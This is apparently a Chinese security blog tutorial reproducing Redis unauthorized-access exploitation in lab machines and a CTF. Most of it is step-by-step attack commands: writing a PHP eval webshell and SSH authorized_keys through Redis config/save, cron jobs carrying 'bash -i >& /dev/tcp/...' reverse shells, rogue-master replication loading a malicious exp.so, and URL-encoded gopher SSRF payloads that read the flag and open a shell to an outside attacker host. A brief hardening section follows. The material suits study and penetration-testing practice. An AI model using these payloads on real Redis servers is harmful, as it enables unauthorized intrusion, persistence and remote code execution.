前言

本篇文章记录了redis的相当全面的一次漏洞复现大复盘，从安装到拿shell，最后还有ssrf+本地主从复制的组合拳，来学这波绝对不亏。

一、简介

最大的特点就是 ：快

1 端口

Redis默认端口：6379

sentinel.conf配置器端口为26379

2 存储特性

1.以内存作为数据存储介质，读写数据的效率极高。
2.储存在 Redis中的数据是持久化的，断电或重启，数据也不会丢失
3.存储分为内存存储、磁盘存储和log文件。
4.可以从磁盘重新将数据加载到內存中，也可以通过配置文件对其进行配置，因此，redis才能实现持久化
5.支持主从模式，可以配置集群，更利于支撑大型的项目。

二、环境安装配置

1 官网站点

官网地址：https://redis.io/
历史版本下载地址：http://download.redis.io/releases/

2 安装redis3.2.0

```shell

下载文件

wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压

tar xzf redis-3.2.0.tar.gz

切换目录

cd redis-3.2.0

编译

make
```

3 redis配置与启动关闭

（1）注释掉"bind 127.0.0.1"
注释这行语句，代表任意机器都可以登录redis

（2）protected-mode设置为no，代表关闭安全设置

（3）daemonize设置为yes，设置后台运行

（4）启动redis-server

shell
./src/redis-server redis.conf

（5）关闭redis-server

./src/redis-cli -h 127.0.0.1 -p 6379 shutdown
或者
./src/redis-cli -a 密码 -h 127.0.0.1 -p 6379 shutdown

（6）配置环境变量

目的：启动redis-cli客户端时不用切换src目录

zsh中添加环境变量，在.zshrc配置文件中最后添加下面deexport代码

vi ~/.zshrc
export PATH=/root/file/redis/redis-3.2.0/src:$PATH

刷新当前的shell环境，使新增的环境变量生效

source ~/.zshrc

（7）配置密码

config set requirepass ch4nge
登录命令
redis-cli -h 10.0.1.12 -a ch4nge

三、redis未授权访问漏洞复现

1 造成未授权访问的原因

由于配置不当所导致的未授权访问漏洞。

（1）配置登录策略导致任意机器都可以登录redis。
（2）未设置密码或者设置弱口令。

2 远程连接redis服务器

在探测这个漏洞得时候，工具超级弱口令贼快。连上之后可以使用info列出信息

（1）交互式方式连接

此种连接方式所有的操作都是在交互的方式实现，不需要再执行redis-cli了，例如命令:redis-cli -h 127.0.0.1-p 6379，加-a参数表示带密码的访问。

redis-cli -h {host} -p {port}
./src/redis-cli -h 10.0.1.12 -p 6379

也可以使用客户端工具rdm进行连接

（2）命令方式

直接得到命令返回结果

redis-cli -h {host} -p {port} {command}
./src/redis-cli -h 10.0.1.12 -p 6379 info

（3）常用命令

1．查看信息:info
2．删除所有数据库内容:flushall
3．刷新数据库:flushdb
4．查看所有键:KEYS *，使用select num可以查看键值数据。
5．设置变量: set test "whoami"
6. 设置路径等配置:config set dir dirpath
7. 获取路径及数据配置信息:config get dir/dbfilename
8. 保存:save
9. 查看变量名称:get 变量

更多命令参考https://www.cnblogs.com/kongzhongqijing/p/6867960.html

（4）redis设置密码

config set requirepass password

有密码登录

方式1：-a参数加密码

redis-cli -h 192.168.112.132 -a password

方式2：登陆进去再认证授权

auth password

3 不存在未授权情况

1. bind 127.0.0.1未注释，仅允许本地访问，攻击机kali无法连接。可尝试本地主从复制rce
2．设置了密码，可以用超级弱口令爆破

四、redis写webshell

1 靶机开启web服务

这里开启apache服务

/etc/init.d/apache2 start

2 写webshell

攻击机连接redis，执行以下命令（执行命令顺序可以打乱）：

```shell

redis客户端远程连接redis数据库

redis-cli -h 10.0.1.12 -p 6379

设置redis当前工作路径，设置在web目录下

config set dir /var/www/html/

设置文件名，后缀为可执行文件

config set dbfilename shell.php

写入shell，key为键名，意为新增一个键值对，当备份时将保存进备份文件

set x "nnn<?php phpinfo();?>nnn"

set xx "nnn<?php @eval($_POST['ch4nge']);?>nnn"

创建当前数据库的备份。由于我们修改了数据库备份文件为shell.php，工作路径为web目录，因此将生成一个文件保存在web目录。该文件中有可被识别到的PHP语句，将被执行。

save
```

此时靶机网站根目录下已经写入该文件：

3 蚁剑连接测试

http://10.0.1.12/shell.php
密码ch4nge

五、redis写ssh密钥

1 漏洞原理

ssh密钥登录怎么实现呢？通过工具生成公钥和对应的私钥，将公钥放在靶机特定位置特定文件名，攻击机就可以使用私钥去登录ssh。

redis操作同写webshell，只是将本机的ssh公钥作为value，然后通过修改数据库的默认路径为/root/.ssh和默认的文件名authorized.keys，把数据备份在authorized.keys文件里，这样就可以使用密钥进行登录。

2 利用场景

redis服务对外开放，未授权或已知密码，并且ssh服务对外开放，可以通过密钥登认证。

3 靶机场景

攻击机kali2018.4：10.0.1.5

redis服务机器kali2020.4：10.0.1.12，redis3.2.0

3 kali2020ssh设置

1）开启redis服务机kali2020的ssh服务

/etc/init.d/ssh start

2）redis服务机kali2020设置ssh允许远程登录

```
设置kali允许ssh远程登录root
1、编辑文件
vi /etc/ssh/sshd_config
2、修改字段
LoginGraceTime 2m
StrictModes yes
修改PermitRootLogin prohibit-password 为 PermitRootLogin yes
PasswordAuthentication yes

3、重启ssh服务
/etc/init.d/ssh restart
```

3）攻击机kali2018上创建ssh-rsa密钥，也就是生成key，这里密码设置为空，全部直接回车即可

ssh-keygen -t rsa

4 修改redis密码（仅为演示操作，实际场景可能直接就是未授权没密码）

攻击机kali2018操作

config set requirepass ch4nge
登录命令
redis-cli -h 10.0.1.12 -a ch4nge

./src/redis-cli -h 10.0.1.12 -p 6379 -a ch4nge

5 写入ssh公钥public key

攻击机kali2018通过远程redis进行操作

1）导出key到key.txt (nn是为了防止乱码)。

shell
cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > key.txt

2）将生成的公钥写入redis服务器的内存之中

```shell

命令方式模板

redis-cli -h {host} -p {port} {command}

写入公钥，key为键名，value为key.txt内容，意为新增一个键值对，当备份时将保存进备份文件

cat key.txt | redis-cli -h 10.0.1.12 -a ch4nge -x set xxx

交互模式设置路径（redis备份路径），准备备份文件到目标路径

注意:假如这个"/root/.ssh"不存在的话，这里会显示失败的，就不会返回ok了。

config set dir /root/.ssh

设置文件名(不能改成其他的）

config set dbfilename authorized_keys

创建当前数据库的备份。由于我们修改了数据库备份文件为authorized_keys，工作路径为.ssh，因此将生成一个文件保存在.ssh目录。

注意假如这个“/root/.ssh ”不存在的话，这里会显示失败的，就不会返回ok了。

save
```

3）登录ssh

shell
ssh -i id_rsa [email protected]

我遇到了一个奇怪的问题，连接之后执行命令都报错wc

解决方案

我的被攻击机kali2020使用的是zsh，那就编辑/root/.zshrc文件，最后一行加上

export PATH=/usr/bin:$PATH

保存、引用、重启ssh

shell
vi ~/.zshrc
source ~/.zshrc
/etc/init.d/ssh restart

再次连接成功执行命令

六、利用计划任务反弹shell-centos

计划任务反弹shell不适用于windows系统

1 漏洞原理

计划任务怎么实现呢？以centos为例，通过写入文件到系统计划任务目录 /var/spool/cron/root文件来执行，注意redis需要以root权限运行。

redis操作同写webshell，只是将一句话计划任务作为value，然后通过修改数据库的默认路径为/var/spool/cron/和默认的文件名root，把数据备份在root文件里，这样系统就会根据计划任务内容去运行命令。

2 利用场景

redis服务对外开放，未授权或已知密码，并且靶机出网（可访问攻击机），可以设置计划任务。

3 靶机场景

攻击机：kali2020.4：192.168.10.225

被攻击机：CentOS7：10.11.2.120，redis3.2.0

两台机器要互通

4 被攻击机以root权限开启redis服务

5 攻击机开启监听

shell
nc -lvp 6666

6 写入计划任务一句话

每一句的含义前面已经写两次了，不想写了，就这样

set xx "n* * * * * bash -i >& /dev/tcp/192.168.10.225/6666 0>&1n"
//星号表示的是计划任务的时间，表示每分钟执行一次
config set dir /var/spool/cron/
config set dbfilename root
save

计划任务时间说明

每分钟都执行一次的话就采用默认的 * * * * *
每五分钟执行一次可以 */5 * * * *
每两个小时执行一次的话就是 * */2 * * *
第三个*是日，第四个是月，第五个是周
m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数，0或7用来描述周日 (或用Sun或Mon简写来表示)
user:指的是执行命令的用户
command: 需要执行的命令
星号(*)表示参数所有可用的值，如果为5个*，就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务

这就来啦

看一下centos的计划任务是啥

shell
crontab -l

七、利用计划任务反弹shell-Ubuntu--我放弃

听说小伙伴们的Ubuntu都失败了，我也来感受一下社会险恶

本操作全程参考以下两篇，第二篇更全面

http://www.vkxss.top/2019/05/28/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-Redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E4%B9%8Bubuntu%E5%8F%8D%E5%BC%B9shell%E9%97%AE%E9%A2%98/index.html

和

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/#more

1 环境

攻击机：kali2018：192.168.8.180

被攻击机：Ubuntu16.04：192.168.10.17，redis5.0.5，redis密码ch4nge

2 说明

把centos那波操作上在ubuntu，直接操作

```
ubuntu下可以利用的cron有以下几个地方：

/var/spool/cron/crontabs 用户调度任务 目录下存放的是每个用户包括root的crontab任务，每个任务以创建者的名字命名，比如用户定期要执行的工作，比如用户数据备份、定时邮件提醒等
/etc/crontab 系统调度任务 这个文件负责调度各种管理和维护任务，比如写缓存数据到硬盘、日志清理等。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
```

3 方法1-没用

这个方法需要修改写入的文件内容、文件权限、重启cron服务，所有没用，但还是走一遍流程弹个shell

执行以下命令

set xx "n* * * * * bash -i >& /dev/tcp/192.168.8.180/6666 0>&1n"
//星号表示的是计划任务的时间，表示每分钟执行一次
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

登陆ubuntu查看计划任务，已经成功写入。但是发现计划中存在乱码，也就是这些乱码导致计划任务执行错误。

这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误，而乱码是避免不了的，centos会忽略乱码去执行格式正确的任务计划，而ubuntu并不会忽略这些乱码，所以导致命令执行失败，因为自己如果不使用redis写任务计划文件，而是正常向/etc/cron.d目录下写任务计划文件的话，命令是可以正常执行的，所以还是乱码的原因导致命令不能正常执行，而这个问题是不能解决的，因为利用redis未授权访问写的任务计划文件里都有乱码，这些代码来自redis的缓存数据。

我们手动把乱码删除，发现依然无法成功反弹shell

ubantu下默认使用/bin/dash执行脚本的问题，解决方式:将shell环境修改为bash。

shell
ls -l /bin/sh
ln -s -f /bin/bash /bin/sh

需要特别注意的一点是这的root文件的权限必须为600，也就是

rw-------

否则会报错，修改权限

shell
cd /var/spool/cron/crontabs/
chmod 600 root

重启crontab服务

shell
/etc/init.d/cron restart

等待一会儿，得到shell

4 方法2

但是这个方法还是要修改权限600，修改root文件仅留一行命令才行，鸡肋鸡肋！！

我们先把/bin/sh修改回指向dash,我直接恢复快照

ln -s -f dash /bin/sh

shell脚本文件如下，文件名为/tmp/test.sh

```

!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.8.180/6666 0>&1
```

然后为test.sh加上执行权限

chmod +x /tmp/test.sh

之后任务计划里的内容修改为

* * * * * /tmp/test.sh

八、远程主从复制RCE

未授权的redis会导致GetShell，可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的，这种方式的主要问题在于，redis保存的数据并不是简单的json或者是csv，所以写入的文件都会有大量的无用数据，例如:

shell
set xx "n* * * * * bash -i >& /dev/tcp/192.168.10.225/6666 0>&1n"

1 漏洞原理

这种主要利用了crontab、sh key、webshel这样的文件都有一定容错性，再加上crontab和ssh服务可以说是服务器的标准的服务，所以在以前，这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除redis以外的任何服务存在，包括ssh和crontab，再加上权限的严格控制，只靠写文件就很难再getsell了，在这种情况下，我们就需要其他的利用手段了。

此漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Redis 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。

简单的说，攻击者（主机)写一个so文件，然后通过FULLRESYNC(全局)同步文件到受害人〈从机)上。

2 工具下载

```shell
https://github.com/n0b0dyCN/redis-rogue-server

redis-rogue-server，未授权使用

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

Awsome-Redis-Rogue-Server，有授权使用

```

3 靶机场景

攻击机kali2018：192.168.8.180

被攻击机kali2020：192.168.10.225，redis4.0.8

4 redis4.0.8配置

shell
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

配置文件redis.conf同3.2.0配置

设置密码ch4nge

config set requirepass ch4nge
登录命令
redis-cli -h 192.168.10.225 -a ch4nge

5 开始攻击

攻击机使用Awsome-Redis-Rogue-Server工具

执行命令，获取交互式shell

```shell
python3 redis_rogue_server.py -rhost 192.168.10.225 -lhost 192.168.8.180 -passwd ch4nge

如果是未授权的话，那就不加-passwd参数

```

或者执行反弹shell

攻击机监听6666端口

nc -lvp 6666

这部分的缺点就是只适用于目标机器允许远程登录的时候，如果目标机子只允许本地登录，则这种利用方法就不行了，此时可以配合其他漏洞，从目标本地登录redis。

九、本地Redis主从复制RCE反弹shell

1 漏洞原理

对于只允许本地连接的Redis服务器，可以通过开启主从模式从远程主机上同步恶意.so文件至本地，接着载入恶意.so文件模块，反弹shell至远程主机。

缺点：

要说缺点，先明白上一部分的脚本执行的原理。上述的原理是，目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令，利用这些命令我们就可以执行系统命令。问题来了，假如目标机器仅仅允许本地进行登录的时候，上述利用就直接暴毙。这个时候，我们可以通过配合其他漏洞，从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机靶机redis作为从机，将攻击机器设置为主机，然后攻击机器会自动将一些恶意so文件同步给目标机器（从机)，从而来实现对目标机器的远程命令执行。

2 靶机场景

攻击机：kali2018：192.168.8.180

被攻击机kali2020：192.168.10.225，redis4.0.8

此次场景模拟操作，redis是不对外开放的，但是机器出网可以弹shell。当我们可以通过其他漏洞来操作redis数据库的时候可以进行加载so文件来执行反弹shell的命令。

3 漏洞复现

（1）使用Awsome-Redis-Rogue-Server工具，使用redis-rogue-server的恶意.so文件，因为exp.so带system模块，我们可以加载来执行系统命令。

将redis-rogue-server的so文件复制到Awsome-Redis-Rogue-Server

（2）攻击机开启监听

nc -lvp 6666

（3）开启主服务器

```shell
python3 redis_rogue_server.py -v -path exp.so

-v #冗余模式，仅启动Rouge Server模式，默认开启15000端口

-lport可指定端口

-path #指定.so文件

```

（4）被攻击机本地登录Redis进行模拟主从同步攻击

查看是否存在模块，可以看见目前竟然有可用模块system

module list

不慌，这就删掉

module unload system

（5）进行主从同步

```shell
config set dir /tmp

一般tmp目录都有写权限，所以选择这个目录写入

config set dbfilename exp.so

设置导出文件的名字

slaveof 192.168.8.180 15000

进行主从同步，将恶意so文件写入到tmp目录

```

攻击机开的恶意主服务已经开始同步so文件，可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!

同步好了之后（tmp里面已经写入so文件）就可以关闭了

本地redis服务器关闭，或者直接在主服务器关闭运行的python主服务器脚本也行!

slaveof NO ONE

（6）加载恶意模块，执行系统命令

```shell
module load ./exp.so

加载写入的恶意so文件模块，因为前面已经设置位置为/tmp，所以现在写./就好啦

module list

查看恶意so有没有加载成功，主要看有没有“system”

```

执行系统命令

shell
system.exec "id"

（7）反弹shell

shell
system.rev 192.168.8.180 6666

十、网鼎杯2020玄武组SSRFME

SSRF+本地redis主从复制RCE组合拳拿shell

拿不到flag+反弹shell的惨案到此为止吧，跟我一步步做

1 环境说明

buuoj靶场

https://buuoj.cn/

攻击机kali-公网（普通的centos和ubuntu机子一样效果）

2 访问靶机

注意：现在buuoj的这台靶机已经可以出网了，有公网服务器直接用自己服务器就好，没有的话再去考虑搞小号开linux小靶机

http://44841d7f-8e24-426e-8e42-59ab4ce4b488.node4.buuoj.cn:81/

使用0.0.0.0的ip地址绕过check_inner_ip() 函数，访问hint.php得到redis密码

/?url=http://0.0.0.0/hint.php
密码
root

用本地主从复制打它，利用目录为万能的/tmp

3 攻击机开启主服务器

```shell
下载前面用到的两个工具，
https://github.com/n0b0dyCN/redis-rogue-server

redis-rogue-server，未授权使用

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

Awsome-Redis-Rogue-Server，有授权使用

```

将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中，使用Awsome-Redis-Rogue-Server工具开启主服务，并且恶意so文件指定为exp.so，因为exp.so里面有system模块

开启主服务

```shell

lport就是指定攻击机的ip和端口的，默认15000端口，-v和-path前面说过了

python3 redis_rogue_server.py -v -path exp.so -lport 21000
```

4 ssrf gopher联动redies拿flag

payload中第一行就是payload，下面的是解码结果方便查看。%0a是换行，%250a是因为%编码之后是%25（都是url编码两次）

然后我把自己的攻击机服务器的ip地址改成了1.xx.xx.xx，记得改回来，全局替换即可

（1）设置备份路径，退出

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
```

（2）重新登录 生成一个exp.so文件 在进行主从同步（ip改为本地），退出

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 1.xx.xx.xx 21000
quit
```

执行之后，主从同步能够看到回显，会一直同步

（3）加载模块

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
```

（4）关闭关闭主从同步

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit
```

关闭成功后主服务会停止同步，提示PONG啥的

（5）导出数据库（设置备份文件名字）

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit
```

（6）获取flag

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit
```

（7）反弹shell

先在攻击机监听6666端口

nc -lvvp 6666

执行反弹

```
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%25201.xx.xx.xx%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.rev 1.xx.xx.xx 6666
quit
```

十一、redis防护策略

1 禁止监听在公网地址

设置redis.conf

bind 127.0.0.1

2 设置复杂密码

config set requirepass kgFCdiRK%cB7ILCA*9WR26aUSb12HW

3 禁止使用 Root 权限启动

useradd -s /sbin/nolog -M redis
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

4 保护模式开启protected-mode开启（默认开启）

设置redis.conf

protected-mode yes

5 设置 Redis 配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中，禁止不相关的用户访问改配置文件是必要的，如下设置 Redis 配置文件权限为 600：

chmod 600 /<filepath>/redis.conf

总结

redis的洞用着还是蛮方便的，就是主从复制rce复杂了一点，其他还好，顺便还解决了一直以来困惑我的SSRFME这道题，满足感满满。这个ssrf的redis用payload打着还是很方便的，不会出错，需要注意的是主从同步的时候攻击机会有回显才正常，然后断开的时候会停止。加油！每天进步一点点。

参考

漏洞复现参考https://www.freebuf.com/articles/web/289231.html

https://www.freebuf.com/articles/network/281140.html

https://www.freebuf.com/articles/network/281162.html

防护策略参考https://www.freebuf.com/articles/network/280984.html

相关推荐: ThinkPHP3.2 二三事

前言 之前看到【漏洞通报】ThinkPHP3.2.x RCE漏洞通报只是粗略的看了下漏洞原理，看了就等于自己会了吗？ 本着要对这个漏洞负责的态度，当然要实际操作一下。 漏洞概述 在受影响的 ThinkPHP 版本中，如果业务代码中存在模板赋值方法 assign…